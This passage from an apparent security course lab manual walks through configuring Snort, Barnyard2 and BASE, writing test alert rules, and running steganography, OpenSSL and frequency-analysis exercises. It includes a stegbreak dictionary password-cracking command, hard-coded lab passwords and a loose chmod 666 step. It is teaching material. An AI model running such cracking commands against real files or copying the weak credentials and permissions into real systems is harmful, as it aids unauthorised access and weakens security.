Typically, only one of the output plugins is used with Snort at any one time. If you intend to log to unified output (the recommended approach for Snort), then the first plugin (unified2) should enabled and all the others commented out.

Uncomment and edit the unified2 output line in snort.conf, so it reads like this:

output unified2: filename merged.log, limit 128

Note: If you choose to use unified output, then you also need to install and configure Barnyard2, the open-source tool that serves as the intermediary between Snort and MySQL or whatever logging database you are using. Barnyard2 is addressed in Installing and Configuring Barnyard2.

If you have used previous versions of Snort, you may notice that there are no database output configuration options in the snort.conf file. As of the 2.9.3 version of Snort direct logging to database is no longer support-ed.

Leave the metadata reference lines at the end of step 6 uncommented: include classification.config and include reference.config

Step 7

If you have installed the Snort VRT ruleset, then you can tailor the series of include statements in step 7 to match whatever environment characteristics and types of rules you want. For initial testing, sometimes it can be helpful to reduce the number of rules loaded at start-up, but make sure that the line for “local.rules” remains uncommented, as that is where you will place the rules that you write yourself.

For first-time users, you may want to comment out most of the include statements listed in step 7. In par-ticular, the following files have been known to generate errors on Linux systems (unless some additional configuration or adjustment to default setttings is done first) and are best commented out:

backdoor.rules

exploit.rules

netbios.rules

policy.rules

specific-threats.rules

web-activex.rules

web-coldfusion.rules

web-frontpage.rules

web-iis.rules

web-misc.rules

If you create your own rules in separate rules files (instead of adding them to local.rules), add an include statement for your custom files following the same syntax you see for all the other statements in step 7

PART 3

LAB EXCERCISES

227

Step 8

There are not very many settings in step 8, so in general you just want to make sure that you uncomment any rules here that correspond to preprocessors you configured to load in step 5. By default, if you kept the standard settings in step 2 and enabled at least some preprocessors, the uncomment the first two lines in step 8

include $PREPROC_RULE_PATH/preprocessor.rules

include $PREPROC_RULE_PATH/decoder.rules

If you enabled the sensitive_data preprocessor (in step 5), then uncomment the third line in step 8: include $PREPROC_RULE_PATH/sensitive-data.rules

Make sure the rules you declare in these statements are actually present in the appropriate directory (such as /etc/snort/rules/preproc_rules)

Step 9

The first time you edit snort.conf, leave the shared object rules commented out in step 9. You will need to run Snort once (including loading the configuration file) in order to generate the shared object rules. After that, you can go back to snort.conf and uncomment any of the shared object rules that you have installed and that you want to use.

Once you have edited the file and saved your changes (using Ctrl-X and answering Yes), you can do a quick check to see if the program responds:

Change to the Snort program directory: # cd /usr/local/bin

Check the installed version for Snort: # snort -V

It is not uncommon to run into a library error at this point, such as a shared object library. If you see such an error, run the following utility and try snort-V again: # ldconfig

Compiling Shared Object Rules

Recall that unlike the general ruleset, Snort shared object rules need to be compiled from source and in-stalled, or installed from precompiled versions provided with the VRT package. To perform this installation, make sure that the dynamicdetection directory declaration has been set correctly in snort.conf, and then use Snort to generate the rules files and put them in the right place. When the command below is execut-ed, Snort retrieves the location of the source files for the shared object rules from snort.conf, and writes the output to the location you specify in the command line.

Switch to the directory where Snort is installed: # cd /usr/local/bin

Run Snort with the “dump dynamic rules” option to install the shared object rules: # snort -c /etc/snort/snort.conf --dump-dynamic-rules=/etc/snort/so_rules

You should see a message at the end of the Snort output on screen that says “Finished dumping dynamic rules.” At this point, you can look in the /etc/snort/so_rules directory and you should see a set of rules files, verifying that they have been installed. Note that these files have the same names as some of the regular rules files in /etc/snort/rules – this is why we installed them in a different directory. Some experts recom-mend renaming all the shared object rules files to start with “so_” to distinguish them from the regular files.

You can now re-edit snort.conf, go to step 9, and uncomment any shared object rules you want to use.

PART

3LA

B E

XCER

CISE

S

228

Installing and Configuring Barnyard2

Strictly speaking, using an intermediate output processor like Barnyard2 is not required, and for experiment-ing with Snort in a non-production environment, some prefer to configure Snort to write output directly to MySQL or another logging database. In production, however, using Barnyard2 allows Snort to hand off the database logging tasks and devote more processing resources to packet analysis and core intrusion detec-tion, so from a performance optimization standpoint, unified2 output is preferred over direct database log-ging. Because Barnyard2 is implemented between Snort and MySQL, configuring the tool requires adjusting settings for Snort’s configuration to produce unifed2 output, and settings for Barnyard2 to be able to pick up the output, parse it, and write it to MySQL. These instructions therefore cover installing Barnyard2, adjusting output settings in snort.conf, configuring Barnyard2’s operating parameters in barnyard2.conf, and running Barnyard2.

If you did not download and unpack the Barnyard2 source package during the steps listed in Getting and Installing Necessary Tools then you first need to get the source files before installing them:.

Working from /usr/src/snorttemp, download the latest version of Barnyard2: # wget https://github.com/firn-sy/barnyard2/archive/v2-1.11.tar.gz

Extract the files from the Barnyard2 package: # tar -xzvf v2-1.11.tar.gz

Switch to the Barnyard directory: # cd barnyard2-2-1.11

Compile and install with the following 4-step series of commands (waiting for each one to finish successfully before starting the next)”

# ./autogen.sh

# ./configure --with-mysql --with-mysql-libraries=/usr/lib/i386-linux-gnu/

# make

# make install

The Barnyard2 program should end up in the same location as Snort: /usr/local/bin

The next step is to create the directories and move the configuration files to the locations where they need to be. Before you start following these steps, make sure you are in the directory where you extracted the Barnyard2 package, such as /usr/src/snorttempt/barnyard2-1.9. These instructions assume that Snort uni-fied2 output will be directed to the directory /var/log/snort, and therefore that is where Barnyard2 will look to retrieve those log files.

• Copy the Barnyard2 configuration file to the same location where snort.conf is: # cp etc/barnyard2.conf /etc/snort

• Create a logging directory for Barnyard2: # mkdir /var/log/barnyard2

• Make the directory writeable: # chmod 666 /var/log/barnyard2

• Create a placeholder (blank file) for the waldo file required by Barnyard2: # touch /var/log/snort/barn-yard2.waldo

PART 3

LAB EXCERCISES

229

Although Snort no longer uses the signature ID mapping file sid-msg.map, Barnyard2 does use it, and refer-ences it in the Barnyard2 configuration file. There is a copy of the sid-msg.map file distributed with each new rules package, located in the /etc directory that is created in your temporary directory when you unpack the rules tarball. If you did not already copy this file during the Snort manual installation process, copy the file now. Perhaps confusingly, this is not the same /etc directory found under Snort. To get the sid-msg.map file, navigate to /usr/src/snorttemp/etc and copy the file to /etc/snort: # cp sid-msg.map /etc/snort

The next step is to modify the Barnyard2 configuration file so the program knows where to look for the files it needs to reference, and so Barnyard2 will be able to write to the MySQL database.

Change the directory to the location of the configuration file: # cd /etc/snort

Open the configuration file for editing using nano or another editor: # nano barnyard2.conf

The barnyard2.conf file is organized into three sections – variable declarations, input settings, and output settings – and changes need to be made to the first and third section.

Locate the paths to key Snort files, and make sure the paths are correctly set to point to the appropriate files in /etc/snort

config reference_file: /etc/snort/reference.config

config classification_file: /etc/snort/classification.config

config gen_file: /etc/snort/gen-msg.map

config sid_file: /etc/snort/sid-msg.map

Find the setting for output logging, uncomment it, and edit it to read:

config logdir: /var/log/barnyard2

Find the lines with hostname and interface declarations, uncomment them, and edit them to read:

config hostname: localhost

config interface: eth0

Find the line for declaring the path to the waldo file and edit it to read:

config waldo_file: /var/log/snort/barnyard2.waldo

Skip over the second section – as noted in the file’s comments, there is only one type of input allowed for Barnyard2, so the default setting is the only possibility.

In the third section on output plugins, you will see that there are many options for directing Barnyard2 out-put. For our purposes, we’re going to insert the output into a MySQL database, so scroll down to the data-base section. All other output plugin options should be commented out.

Comment out the alert_fast plugin, which is enabled by default in barnyard2.conf

Add a new line at the end of the commented examples in the database section, using the following data-base parameters:

output database: log, mysql, user=snort password=snortpass dbname=snort host=localhost

PART

3LA

B E

XCER

CISE

S

230

Save the barnyard2.conf file using Ctrl-X and answering Yes.

In a production deployment of Snort, it’s likely that both Snort and Barnyard2 would be running as daemon processes. To test the functionality of Barnyard2 and Snort as we’ve just configured them, however, the sim-plest approach is to open two separate terminal windows, and then run Barnyard2 in one and Snort in the other. There is no reason to be running as root for this process, although if you are not you will need to use sudo to launch the programs.

Open a command shell by searching for and selecting Terminal from the Dash Home in the Ubuntu desktop.

Navigate to the directory where Barnyard2 is located: $ cd /usr/local/bin

Launch Barnyard2 with the following command string (you will need to supply your password after you enter the command using sudo): $ sudo barnyard2 -c /etc/snort/barnyard2.conf -d /var/log/snort -f merged.log -w /var/log/snort/barnyard2.waldo

Once Barnyard is running, open a second terminal session.

Navigate to the directory where Snort is located: $ cd /usr/local/bin

Launch Snort with the following command string (you will need to supply your password after you enter the command using sudo): $ sudo snort -c /etc/snort/snort.conf

When you see on the screen that Snort is running, you can switch back to the terminal window where Barn-yard2 is running and you should see some indication that it is processing the unified2 log output from Snort. If you are running Snort with the testing rules described in Generating Alerts loaded, or if you otherwise cause a Snort alert to fire, then you will see the alert information as Barnyard2 parses the output.

If you have already completed the steps to install BASE, then you can also see the results of the Barynard2 process writing to MySQL. Open a browser window and open the URL http://127.0.0.1/base/base_main.php

Generating Alerts

To see if Snort is working, beyond just getting it to load without errors (not a trivial feat in itself ), it is helpful to generate some alerts. The easiest way to do this to validate setup and configuration is to create a couple of testing rules, load them in Snort, and trigger them so you can check to see if they generate alerts as ex-pected. Put your testing rules in the local.rules file that is located in the /etc/snort/rules directory.

Open local.rules with a text editor: # nano local.rules

Move down beyond the commented header information to the first blank line. We’ll start with a generic rule to test network traffic detection, similar to the one listed in The Snort IDS and IPS Toolkit. Enter the following, all on one line: alert icmp any any -> any any (msg:”ICMP Testing Rule”; sid:1000001; rev:1;)

Press Enter to move to a new line, and create another rule to check TCP traffic detection: alert tcp any any -> any 80 (msg:”TCP Testing Rule”; sid:1000002; rev:1;)

Press Enter to move to a new line, and create another rule to check UDP traffic detection: alert udp any any -> any any (msg:”UDP Testing Rule”; sid:1000003; rev:1;)

You can create any number of additional rules you like; just be sure to start each one on a new line.

Exit nano with Ctrl-X and confirm you want to save the changes by answering Yes.

PART 3

LAB EXCERCISES

231

If you are going to test Snort with these rules using unified2 output handled by Barnyard2, then you also need to make sure that each rule you write is recorded in the sid-msg.map file located in the /etc/snort di-rectory. Barnyard2 references this mapping file to be able to record information about each alert beyond the signature identifier (sid). Edit sig-msp.map using nano, scroll to the very end of the file, and add a new line for each rule you have created. The syntax in the sig-msg.map file is <sid> || <description> so for example for the ICMP Testing Rule above, you would add a line that reads:

1000001 || ICMP TESTING

If you load these rules by starting Snort with the -A console option, when you test the rules by performing the steps listed below, you can see the output on the screen as it happens.

Open a terminal session using the Dash Home search bar, entering “terminal,” and selecting the Terminal icon.

Login as root using su or sudo su

Navigate to the directory where Snort is installed: # cd /usr/local/bin

Start Snort: # snort -c /etc/snort/snort.conf -A console

Open another terminal session, leaving Snort running in the first.

Send a ping command to your local gateway (or any other host): $ ping 192.168.0.1

Press Ctrl-C to stop the ping process

Open Firefox and browse to any web page

You should see the alerts Snort produces in the first terminal shell where Snort is running.

Ordinarily, you won’t need to do anything special to generate UDP alerts, because the operating system al-ready generates plenty of UDP activity when it is connected to a network. If you are running standalone and don’t see and UDP alerts, you can run a traceroute from the command line, such as traceroute 131.171.9.150.

Prerequisites to Installing BASE

As addressed in multiple places in The Snort IDS and IPS Toolkit, when dealing with operational intrusion detection systems, there are many plug-ins and third party tools to help security and network analysts make some sense of all the data Snort may be producing. Logging to a database like MySQL or to a central logging server like Syslog are both reasonable approaches to storing Snort output for analysis. To actually conduct that analysis, you can apply any number of tools, most of which work by accessing the Snort logs within a database and formatting, sorting, grouping, and/or reporting on the log data in order to make it more usable for analysis. Among the most popular tools for this purpose are the Analysis Console for Intrusion Databases (ACID) and its successor (technically a fork from the ACID project), the Basic Analysis and Security

Engine (BASE). This instruction set focuses on BASE.

PART

3LA

B E

XCER

CISE

S

232

BASE itself is in many ways easier to install than the tools like Snort it is designed to work with. In contrast to compiled, executable programs like Snort, Wireshark, Apache HTTP Server, and MySQL, BASE is not a compiled program at all, but instead is written in the PHP scripting language and its instruction sets are therefore run by a web server. This means that the primary task for setting up BASE is putting the PHP script files in the appropriate location on your computer where the web server can access them, and adjusting some configuration settings to connect the dots between the web server and database. Because it is written in a platform-independent scripting language, it is also possible to install the same BASE package on either Windows or Linux platforms. While BASE is in many ways optimized for use with Snort, bear in mind that it is possible to get BASE running correctly whether or not Snort is running, or even installed. BASE does not communicate in any way with Snort, only with the logging database where Snort sends its output. Despite this truth, most of the useful instructions you will find on the Web for installing BASE combine the steps for installing Snort (and its dependent packages like libpcap and pcre) with installing BASE itself. If you already have Snort running (and particularly if you have already set it up to log to MySQL) adding BASE to the mix is pretty straightforward.

So, the relative ease of installation is the good news. The less-good news is that there are quite a few techni-cal prerequisites for running BASE, only one of which is having a database like MySQL installed (we’ll assume the use of MySQL for the purposes of these instructions, but BASE supports quite a few other databases too). The key programs you will need to get BASE running include:

A web server capable of running PHP, which for our purposes will be Apache.

A PHP language interpreter for your web server of choice, typically installed as a module or plug-in to the web server.

The ADOdb database abstraction library for PHP. The point of using a database abstraction layer is that the front-end application (BASE in this case) can be written in a manner independent of the underlying data-base, rather than having to customize the program for different types of databases.

The appropriate table structure set up within the database, as well as a username with full privileges to that table space that BASE can use to access the database. If you have loaded the Snort logging schema for MySQL, when you first configure and run BASE it will prompt you and then go ahead and add the necessary BASE-specific additions to the tablespace. The section Getting and Installing Necessary Tools listed all the components necessary to move forward with installing BASE, taking advantage of the automated package manager to install Apache2, PHP, and related software. These instructions presume that you have already installed Apache and PHP.

Figure out where the default directory is for web pages on your computer – in other words, where the web server will look for files when you set your browser to http://127.0.0.1 (the localhost address). On most Linux distributions this location is /var/www.

Verify that Apache is running. If you need to start it up, you can use the Apache monitor tool to start the web server with the command apache2ctl restart. The easiest way to check if Apache is running is to open a browser (like Firefox in Ubuntu Linux) and open the address http://127.0.0.1/. If you see a web page with the words “It works!” then you know Apache has been installed correctly and is currently running.

Verify that PHP is installed. Create a new text file using nano or another editor with the following contents and save it as “test.php” in your default web directory (/var/www):

<?php

phpinfo();

?>

PART 3

LAB EXCERCISES

233

Now open a browser and type “http://127.0.0.1/test.php” in the address bar. If PHP is installed, you will see a series of tables showing its configuration information. If PHP is not installed, you will either get an error, see the raw text of your test.php file, or see a prompt asking if you want to open or save the file. Please note: if you verified your install of Apache before you installed PHP, you need to stop and then re-start Apache using the command apache2ctl restart so that the configuration changes made by the PHP installation process will be read by the program.

Installing BASE

Now for the part where we actually install BASE. The process is simple – retrieve the archive files for both BASE and ADOdb, extract the files into temporary directories, and then move the files to where they need to be in relation to the default web directory on your computer. You can use a web browser like Firefox on Ubuntu to download these packages from the Sourceforge website, or retrieve them from the command line using wget as you did previously with Snort source packages.

1. Download BASE version 1.4.5 at http://sourceforge.net/project/secureideas/files/BASE/base-1.4.5/base-1.4.5.tar.gz/download OR # wget http://sourceforge.net/projects/secureideas/files/BASE/base-1.4.5/base-1.4.5.tar.gz

2. Download ADOdb version 5.18 at http://sourceforge.net/projects/adodb/files/adodb-php5-only/adodb-518-for-php5/adodb518a.tgz/download OR # wget http://sourceforge.net/projects/adodb/files/adodb-php5-only/adodb-518-for-php5/adodb518a.tgz

3. Extract the BASE archive package: # tar -xzvf base-1.4.5.tar.gz

4. Extract the ADOdb archive package: # tar -xzvf adodb518a.tgz

5. Move or copy the entire “adodb5” directory and all its subfolders into the default web server directory (that is, it will become /var/www/adodb5): # cp -r adodb5 /var/www

6. Move the entire “base-1.4.5” directory into the default web server directory (you might want to rename it just “base” so after you move it you will have /var/www/base): # cp -r base-1.4.5 /var/www/base

7. Switch to the base directory: # cd /var/www/base

8. In the base directory, you will find a file called “base_conf.php.dist”. Copy or rename that file to “base_conf.php” and open the file with nano or another editor to edit it. This is the BASE configuration file, similar in many ways to snort.conf for Snort. This file is helpfully self-documented, so scroll through and make the following edits:

9. Where you see the line “$BASE_urlpath = ‘’;” fill in the relative path to the base directory. If you put base directly under /var/www then the value to put between the single quotes is ‘/base’

10. Where you see the line “$DBlib_path = ‘’;” fill in the full path to the adodb directory (i.e., ‘/var/www/adodb5’ using our instructions so far)

11. Confirm that the database type is set correctly in the line “$DBtype = ‘mysql’;”

12. Where you see the “Alert DB connection parameters” fill in the appropriate connection information for your installation of MySQL. If you’ve been following these instructions for configuring MySQL, then typ-ically “$alert_dbname” will be ‘snort’; “$alert_host” will be ‘localhost’; “$alert_port” will be ‘3306’; “$alert_user” will be ‘snort’; and “$alert_password” will be ‘snortpass’.

13. Save the base_conf.php file.

PART

3LA

B E

XCER

CISE

S

234

Open a browser and open http://127.0.0.1/base/base_main.php. This will cause the base_conf script to be loaded, and you will be prompted for any further action that is required (and notified if there is a problem, such as with logging into MySQL using the parameters you put in the conf file). Most often, BASE will tell you that additional tables need to be created in the Snort database; if you accept the recommendation the changes will be made for you. Most commonly, you will see the message “The underlying database snort@localhost appears to be incomplete/invalid.” The page you see will suggest using the BASE Setup page to add the structural elements to the Snort table needed to run BASE. Click on “Setup page”.

On the BASE setup page, you should see an operation listed to add tables to extend the Snort DB to support BASE functionality. Click on the “Create BASE AG” button at the right of the screen.

You should see a series of success messages, after which you can click on the Main page link to open the default view in BASE.

The main page in BASE will not show any alert activity unless you first run Snort with output directed to MySQL and generate some alerts. If Snort is not running (and if you haven’t previously run it with alerts to populate the Snort log database) all the statistics will be at zero. At this point you can start up Snort and generate some alerts while monitoring the activity in BASE. If you created the testing alerts as instructed in “Generating Alerts” then you can use those rules to put some data in the MySQL Snort tables and view the results in BASE. . If you are logging to Unified ouput and using Barnyard to get the alert data into MySQL, then you need to get Barnyard up and running before you start Snort. Use the instructions at the end of the “Installing and Configuring Barnyard2” section of this document.

Recall that to get Snort to send output to Unifed output or MySQL (whichever option you have configured in the snort.conf file), your startup command for Snort must not use the -A switch (such as -A fast or -A con-sole) as this command option seems to override the output settings in snort.conf (this is counter to Snort documentation, but through direct experience this is the way Snort works).

1. Open a command shell by searching for and selecting Terminal from the Dash Home in the Ubuntu desktop.

2. Login as root using su or sudo su

3. Navigate to the directory where Snort is installed: # cd /usr/local/bin

4. Start Snort: # snort -c /etc/snort/snort.conf

5. Open another terminal session, leaving Snort running in the first.

6. Send a ping command to your local gateway (or any other host): $ ping 192.168.0.1 (substitute your router’s actual address

7. here if it’s different)

8. Press Ctrl-C to stop the ping process

9. Open Firefox and browse to any web page

10. Enter the BASE main page in the browser: http://127.0.0.1/base/base_main.php

You should see information on the BASE screen indicating multiple alerts and both TCP and ICMP protocols represented in the traffic profile (since we generated activity using both those protocols and have testing rules active to alert on them). and TCP, UDP, and ICMP protocols represented in the traffic profile. As noted previously, you don’t usually need to take special action to cause UDP traffic to appear on a network, but if you don’t see any, you can run a traceroute from the command line such as traceroute 131.171.9.150.

PART 3

LAB EXCERCISES

235

Adding Graphics Display Capabilities to BASE

When looking at the BASE main page, you will see some links on the right-hand side of the screen that allow you to search alert data stored in the database or to produce graphs of some of the alert characteristics. The search functionality should work without additional action, but the graphing capability requires the PHP Graphics Draw (GD) library of image functions and several extensions to the PHP Extension and Application Repository (PEAR). If these modules are not installed, then clicking on a link such as “Graph Alert Data” will result in an error message such as: “PHP build incomplete: the prerequisite GD support required to gener-ate graphs was not built into PHP. Please recompile PHP with the necessary library (--with-gd).” The PHP GD library (php5-gd) can be installed as a package using the Synaptic Package Manager (as noted in the instruc-tions for “Getting and Installing Necessary Tools”), but many of the other modules needed to enable graph-ing in BASE must be installed from the command line using PEAR. The following instructions include all the necessary components for adding graphics generation capabilities to BASE.

1. Open the package manager by searching for “package manager” from the Dash Home and selecting Synaptic Package Manager.

2. In the Quick Search box, enter “php5-gd” and check the box next to the php5-gd package and mark it for installation (any dependencies suggested by the package manager should also be accepted for installa-tion). Click Apply to install the new package. Close the package manager application when the installa-tion is complete.

3. From the Ubuntu desktop Dash Home, search for select and Terminal to open a command shell.

4. At the prompt, log in as root (superuser) by typing: $ sudo su

5. Enter your user account password. When you are logged in as root, the end character of the command line should change to #

6. Switch to the /usr/bin directory where the PEAR program resides: # cd /usr/bin

The PEAR packages that need to be installed include Image_Graph and Image_Canvas (both required), and a variety of optional packages that improve the appearance of the graphs generated with PHP, including Numbers_Words and Numbers_Roman.

The standard syntax for installing a PHP module using PEAR from the command line is pear install <pack-age>. By default, the installer program restricts installation to packages that are in a stable release state (as opposed to in-development states such as beta or alpha), and both Image_Graph and Image_Canvas are currently in alpha releases, so the installation commands need to be modified to reflect this. As currently available, installing Image_Graph will also install Image_Canvas.

PART

3LA

B E

XCER

CISE

S

236

1. From the /usr/bin directory, enter the following command to install Image_Graph: # pear install image_graph-alpha

2. You may see a warning message about the pear.php.net channel, which you can ignore. You should see progress indicating the Image_Graph package download and an “install ok” message. You should see install ok messages for Image_Canvas and Image_Color. You will also likely see a message saying that Image_Graph can optionally use two additional packages – Numbers_Roman and Numbers_Words. Install these packages too.

3. From the /usr/bin directory, enter the following command to install Numbers_Roman: # pear install Numbers_Roman

4. From the /usr/bin directory, enter the following command to install Numbers_Words: # pear install Num-bers_Words-beta

5. In addition to seeing progress indicating the Numbers_Words package download and an “install ok” message, you should also see that the Math_BigInteger package has also been installed.

6. All of these PHP packages are referenced at startup by the web server (Apache), so the last step is to re-start the web server, using the following command: # apache2ctl restart

7. Close the terminal session by entering exit twice, once at the # prompt and once at the $ prompt.

From the Ubuntu Desktop, open Firefox and browse to http://127.0.0.1/base/basemain.php. From the BASE main page, click on Graph Alert Data. From the {chart type} drop-down menu next to “What do you want to know” you can select from a list of pre-defined report types and select the type of graph and other options. These choices offer a sample of the ways alert data can be displayed graphically; extending the chart types to display other information is possible using PHP, but such customization is beyond the scope of these instructions.

PART 3

LAB EXCERCISES

237

Steganography Lab

Introduction

There are numerous ways to hide files / messages. Some are easy, like changing file extensions, but others can be more complicated, like hiding files within other files. Detecting and retrieving messages hidden in a file, image, or sound wave, known as steganography, is an emerging field of study in Computer Forensics.

Steganography is the art and science of hiding information into covert channels so as to conceal the infor-mation and prevent the detection of the hidden message. Today, steganography refers to hiding informa-tion in digital picture files and audio files. This lab consists of three major tasks to be performed:

• Explore data hiding by changing the file extension,

• Detect files hidden in another file, and

• Hide files by embedding the information inside an image.

Configuration

We will use the WindowsXP virtual machine. Located in the folder “My Documents\Labs\Lab 4\Tools” has several steganography tools that are to be used in completing this lab exercise. Please preview and under-stand the purposes and limitations of each tool and learn how to use them. They are:

• Jphs05 (jphswin, jphide, and jpseek)

• XVI32

• Stegdetect (xsteg, Stegdetect, and Stegbreak)

• Camouflage

Located in the folder “My Documents\Labs\Data Hiding and Steganography\data” are several files that are not what they appear to be. Your team will be to use the provided tools and instructions (in the folder “Man-uals”) to identify the hided files and find the message hidden inside one of the image files.

File Extensions

Create a working sub-directory and copy all the files to be investigated into it. Click the files to see whether they can be opened and viewed properly or not. Open several known file types (e.g., txt, doc, xls, jpg, gif, wav, etc.) with xvi32 and record what their first two bytes are or search file extension via Internet if needed (e.g., FIL EXT web site). Attempt to identify all the files based on your investigations.

PART

3LA

B E

XCER

CISE

S

238

Steganography

After completing task 1, several image files should have been uncovered. Some of these files contain hidden data. The goal of task 2 is to uncover that data. Use the tools provided to examine these files for hidden data. Performing Steganalysis is an art and requires experience, judgment, and trial-and-error. Try the following possible approach to find the hidden message:

• Use xsteg to detect whether any file is hiding inside another (Stegdetect is not for every file type. You need to judge whether it is the right tool to use or not.)

• Use Stegbreak to identify the key (password) used to hide a message (Again, you may not find the key).

• Select an appropriate Steganography tools (jphs05 or Camouflage) and use it to detect and retrieve the hidden file.

• Instructions

Task 1: Explore Data Hiding via Changing File Extensions

One of the easier ways to hide a file is to change its file extension. Windows associates files with programs based on their file extension, so if you alter the extension the operating system will associate the file with a different program. This changes its icon and the program used to open it. There is a way around this hiding technique. Files can be identified by their first two bytes. Included in the “Tools” folder is a program called “xvi32”. This is a hex editor. xvi32 allows for the viewing of files at the byte level.

Step 1: Login to the Virtual Win Machine assigned to your team.

Select C:\Documents and Settings\Administrator\My Documents\Labs\Data Hiding and Steganography\Tools

Step 2: Double click on wbI32.exe to launch the program

Step 3: Drag and drop the file to be examined into the xvi32 window, and it will be displayed.

Step 4: Examine the first two bytes and search Internet (FIL EXT) to find their original file format.

Step 5: Change the file to their original extension using Windows (Hint: Use Windows Explorer. Right click and play with “Rename” or “Property” options).

PART 3

LAB EXCERCISES

239

Task 2: Detect Data Hiding Using Steganalysis Techniques

After changing all the files to their correct extensions, you will see some image files. Open these files. Can you tell any difference in them by just looking? One of these files contains another jpg inside it. Steganogra-phy is the art of hiding data within data. Stegdetect is a steganalysis program that deals with steganography in jpg files. Stegdetect is a command-line-based program that allows you to check for hidden data. You can find some PDF documents with instructions on stegdetect usage. xsteg is a gtk+ frontend to stegdetect. Below are instructions on how to use these tools. Read the instructions in the tools folder for more detailed information.

Step 1: Open the command prompt on virtual machine and change the directory to

“C:\Documents and Setting\My Documents\Administrator\Labs\Data Hiding and Steganography\Tools\stegdetect”

Step 2: Use the following command to determine if a file possibly contains data.

stegdetect -t p filename

The output should indicate the presence or absence of hidden data and tell you what program was most likely used to hide the data. However, this program works on probability. If the data is small enough, it might not be detected. You might try adjusting the sensitivity level parameter.

Step 3: Use the following command to perform a brute force dictionary attack and crack the password on the file. (Dictionary is under the “Dictionary” folder, named “English.txt”.)

stegbreak -f english.txt -r rules.ini filename

TIPS :

1. When you run Stegdetect or Stegbreak, you have to run it under its directory. e.g., under this directory “c:\Documents Setting......\Administrator\....\stegdetect>”. Please switch to that directory using “CD direc-tory”.

2. You need to copy the files that you want to detect or break to this folder.

3. When you run stegbreak, you need to copy the dictionary file “english.txt” to this folder.

4. Then, run this command: “stegbreak -f english.txt -r rules.ini filename”.

5. After that, you will find the password in “<>”.

PART

3LA

B E

XCER

CISE

S

240

Camouflage and jphs05 are two popular steganography freeware programs. Jphs05 can only be used to hide files in a file with JPEG format. Camouflage is more flexible and can be used to hide files with different formats (e.g., gif, JPEG, Wav, etc.).

Sub-task 1: Use Jphide and jpseek programs to hide and reveal stego data. (Note: Not all files can be revealed using jphs05)

Step 1: Double click on “jphswin.exe” to start a shell that uses both Jphide and jpseek programs.

Step 2: Click on “Open jpeg” then “seek” to attempt to uncover the data. Use the password obtained from step 2 of task 1.

• Q: What are the major differences between Stegdetect and jphswin?

Sub-task 2: Use Camouflage to reveal stego data.

Step 1: Select the file / message to be retrieved.

Step 2: Right click on the file, select “Uncamouflage.”

Step 3: Follow the screen instructions to complete the task. (Use “ist454” as the password)

Sub-task 3: Use Camouflage and/or jphs05 to hide stego data.

Please select an appropriate tool to perform the following data hiding tasks:

Hide the “btv_map.gif” file inside the “hitchhiker.wav” file.

Hide the revealed “message.txt” file inside the “mall_at_night.gif” file.

• Q: Can you find a quick way to tell the difference between the two files “mall_at_night_S.gif” and “mall_at_night.gif”? Please discuss “how”!

• Q : Can you reveal the file inside “mall_at_night_S.gif” (Using the password “tyui”)? If not, please discuss why it cannot be revealed.

• Q : Can you use the provided software to detect in all the evidence files on whether they have files hid-den inside or not? If not, why, please discuss!

•

• Q : What are the strengths and weaknesses of Camouflage and jphs05? Please compare and discuss based on your experience of using the tools and the manuals.

PART 3

LAB EXCERCISES

241

Cryptography Lab

OBJECTIVE

The objective of this exercise is to make sure that the students install OpenSSL and JCE properly.

LEARNING OUTCOMES

At the end of the laboratory session, students should be able to:

1. Install OpenSSL and JCE

2. Explore OpenSSL and crypto features.

LAB EXERCISE

2.1 Install OpenSSL and test the followings

Create a text file named msg.txt with the message “Hello Bob” and save in your working directory in C drive (for example, C:\is302\).

2. On Microsoft Windows XP, click on “Start->Run”, then type “cmd”

a. Hit the “ Enter” key.

b. This should give you a Windows CMD command shell.

PART

3LA

B E

XCER

CISE

S

242

Change directory to C:\is302 by typing the following commands:

cd c:\

mkdir is302

cd is302

3. Run the following command line to encrypt your plaintext file.

openssl aes-192-cbc -e -in input-file--name -out output-file-name -pass pass:<your-password>

Example: openssl aes-192-cbc -e -in msg.txt -out cipher -pass pass:asdfgh

4. Open the ciphertext file, cipher with a HEX editor such as HHD HexEditor. Verify that the message is encrypted.

2.2 Install JCE and test the following

1. Download the java program “AesGenKey.java” from course website to folder c:\is302.

This program generates an AES key and stores the key under an alias provided by the user. The key will be store in a JCE KeyStore file, “keystorefile.jce”. This file will be created in the current directory when the pro-gram is run for the first time.

Usage: java AesGenKey <key alias>

2. In the windows command shell, change to the directory where the file is downloaded and compile the program.

Example:

C:\is302>javac AesGenKey.java

Note: Ensure that the PATH variable has been set to the Java “bin” directory.

(E.g., SET PATH=%PATH%; C:\Program Files\Java\jdk1.5.0_08\bin)

3. Run the following command to create an AES key with alias “myaeskey”.

java AesGenKey myaeskey

4. Verify that the file “keystorefile.jce” is created in the current directory.

Exercise: Refer to the source code in AESGenKey.java and answer the questions below

PART 3

LAB EXCERCISES

243

Steganography Lab - Part II

Task 1: Frequency Analysis

The cryptanalyst can benefit from some inherent characteristics of the plaintext language to launch a sta-tistical attack. For example, we know that the letter E is the most frequently used letter in English text. The cryptanalyst finds the mostly-used character in the ciphertext and assumes that the corresponding plaintext character is E. After finding a few pairs, the analyst can find the key and use it to decrypt the message. To prevent this type of attack, the cipher should hide the characteristics of the language. Table 1 contains fre-quency of characters in English.

Table 1 Frequency of characters in English

Cryptogram puzzles are solved for enjoyment and the method used against them is usually some form of frequency analysis. This is the act of using known statistical information and patterns about the plaintext to determine it. In cryptograms, each letter of the alphabet is encrypted to another letter. This table of letter-letter translations is what makes up the key. Because the letters are simply converted and nothing is scrambled, the cipher is left open to this sort of analysis; all we need is that ciphertext. If the attacker knows that the language used is English, for example, there are a great many patterns that can be searched for. Classic frequency analysis involves tallying up each letter in the collected ciphertext and comparing the percentages against the English language averages. If the letter “M” is most common then it is reasonable to guess that “E”-->”M” in the cipher because E is the most common letter in the English language. These sorts of clues can be bounced off each other to derive the key and the original plaintext. The more collected cipher text the attacker has, the better this will work. As the amount of information increases, its statistical profile will draw closer and closer to that of English (for example). This sort of thing can also be applied to groups of characters (“TH” is a very common combination in English for example). The example frequency analysis image above was performed on the first three sentences of this paragraph turned into a crypto-gram. As you can see, the English language is very predictable with regard to letter frequency and this can exploited in some situations to break ciphers.

PART

3LA

B E

XCER

CISE

S

244

The goal of this lab is to gain a better understanding of a statistical attack by programming some of the important components to analyze/manipulate arrays of characters. You will be given an almost fully working C# .NET application . To get this application fully working, you will need to implement the empty methods. After these methods are complete, the program can then be used to complete the remainder of the lab. You do not need to change any of the UI code to get this working, only methods in the Encryption.cs class.

Getting Started

